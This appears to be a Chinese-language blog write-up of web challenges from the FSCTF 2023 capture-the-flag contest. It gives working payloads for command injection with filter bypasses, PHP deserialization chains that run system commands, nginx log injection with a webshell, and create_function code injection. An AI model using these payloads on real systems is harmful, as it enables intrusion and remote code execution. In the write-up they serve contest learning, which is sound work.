【WP】FSCTF 2023 WEB

发布于:2023-10-25 ⋅ 阅读:(135) ⋅ 点赞:(0)

[FSCTF 2023]

源码!启动!

Ctrl +u 得到flag

webshell是啥捏

考察passthru()命令执行函数; 直接cat /f*就行

Hello,you

靠查的就是连接符和命令执行 有点像ping题那种

直接 ;sort f* ;可以换成|

细狗2.0

过滤了空格和cat 空格用${IFS}替换就行 cat用nl代替

Payload:

1;nl${IFS}/f*

ez_php1

1.MD5绕过使用数组:http://node4.anna.nssctf.cn:28835/?b[]=a&a[]=b

FL_AG,可以是用FL[AG=1,得到hint1:L0vey0U.php

2.反序列化:

$str = 'YES I love';

echo urlencode(serialize($str));# 得到P0int.php

3.继续反序列化

 使用引用赋值&,让b=&a

$clazz = new Clazz();

$clazz->b = &$clazz->a;

echo serialize($clazz);

传参得到

PD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=

解码得到flag

巴巴托斯!

先按照它的要求修改User-Agent: FSCTF Browser和Referer: 127.0.0.1 然后可以使用伪协议读取 也 发现存在目录穿越漏洞

我们直接读取flag发现不存在

但还看到了nginx 可能涉及到日志注入漏洞 具体文章访问

日志注入漏洞 - NPFS - 博客园 (cnblogs.com)

我们输入一句话木马 直接查看falg

然后再去访问日志就得到flag了

EZ_eval 

分析代码 过率了空格 cat flag 空格用%09 cat 换成sort flag用f* 很基础的绕过

下面这个是关键 ?被替换为空 那就我们不能使用php一句话木马

我们使用长标签

 

然后我们内容直接rce 就不使用蚁剑了

Paylaod:

?word=%3Cscript%09language=%22php%22%3Esystem(%27sort${IFS}/f*%27)%3C/script%3E

ez_php2

代码审计和最终构造代码

<?php

Class Rd{
    public $ending;
    public $cl;

    public $poc;

}


class Poc{
    public $payload;

    public $fun;


}

class Er{
    public $symbol;
    public $Flag = 'cat /flag'; //设置为system()执行的命令




}

class Ha{
    public $start;
    public $start1;
    public $start2 = '11111';

}
$a = new Ha();   //Ha里面有start,应该是链的开始: new个对像 然后触发__construct() 然后又触发__destruct() 里面有个if条件 我们直接在类里面给start2赋值为11111
$a->start1 =new Rd();//进入this−>start1−>Love(this->start)这个函数,Love()会触发__call()函数,代码上找一下,只有Rd()有__call: 所以我们new一个Rd
$poc = new Poc();//先new一个Poc类 为后边做赋值用
$poc->payload =['POC'=>'1111']; //给里面的paylaod赋值为11111 理由:再看__call()里面,里面主要是要找个值使arg[0][‘POC’]=="1111"成立,,说明Love($this->start)里面的参数为[‘’=>‘’]:这里就会变量覆盖漏洞
$a->start = $poc->payload;  //这里就可以使得if判断成功 然后就可以进入到if语句里面
$a->start1->cl = new Er();//进入$this->cl->var1 = “system”,这里调用var1会触发__set(),Er()里面正好有 __set里变成:public function __set($name, $value) # $value='system'
//{
 //   system($this->Flag);
//}
//
echo (serialize($a));

Payload

?Ha_rde_r=O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:9:"cat /flag";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}

CanCanNeed

审计代码一眼丁真,是create_function利用

具体文章访问

PHP create_function代码注入 - twosmi1e - 博客园 (cnblogs.com)

我们直接利用然后构造序列化代码 注意param2要绕过过滤

代码:

<?php
class Noteasy{
    protected $param1 = 'create_function';
    protected $param2 = "}require(base64_decode(ZmlsZTovLy9mbGFn));//"; //require(file:///flag)伪协议读取然后里面的file:///flagbase64编码

}
$a = new Noteasy();
echo base64_encode(serialize($a));

Paylaod:

Tzo3OiJOb3RlYXN5IjoyOntzOjk6IgAqAHBhcmFtMSI7czoxNToiY3JlYXRlX2Z1bmN0aW9uIjtzOjk6IgAqAHBhcmFtMiI7czo0NDoifXJlcXVpcmUoYmFzZTY0X2RlY29kZShabWxzWlRvdkx5OW1iR0ZuKSk7Ly8iO30=

 

其他 的过两天再复现 

本文含有隐藏内容,请 开通VIP 后查看